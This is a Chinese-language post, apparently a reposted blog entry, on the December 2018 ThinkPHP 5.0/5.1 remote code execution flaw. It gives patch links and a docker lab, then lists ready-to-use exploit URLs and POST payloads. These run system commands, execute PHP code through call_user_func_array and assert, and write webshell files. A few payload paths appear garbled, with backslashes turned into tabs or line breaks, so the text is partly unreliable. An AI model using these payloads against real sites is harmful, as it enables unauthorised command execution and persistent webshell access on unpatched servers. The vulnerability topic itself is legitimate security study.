thinkphp5.x全版本任意代码执行getshell

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

主要是因为”“的错误

补丁:

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

环境地址:

docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29

漏洞利用

1.远程命令执行exp:

http://localhost:9096/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.0~5.0.23xexp:

http://127.0.0.1/index.php?s=captcha

post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami
post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

2.远程代码执行

http://localhost:9096/public/index.php?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #执行代码phpinfo()

http://127.0.0.1/index.php?s=index/think
equest/input?data[]=phpinfo()&filter=assert #5.1.x版本执行phpinfo()

http://127.0.0.1/index.php?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1  #5.1.x版本

http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()  #5.0.x版本

3.写shell

http://127.0.0.1/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=***.php&vars[1][]=***
http://127.0.0.1/index.php?s=index/	hink	emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
http://localhost:9096/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>2.php

 thinkPHP-漏洞集合:https://blog.csdn.net/fly_hps/article/details/84956102

 包含:https://www.shuzhiduo.com/A/o75NEg6PJW/

原文地址:https://www.cnblogs.com/-chenxs/p/11573566.html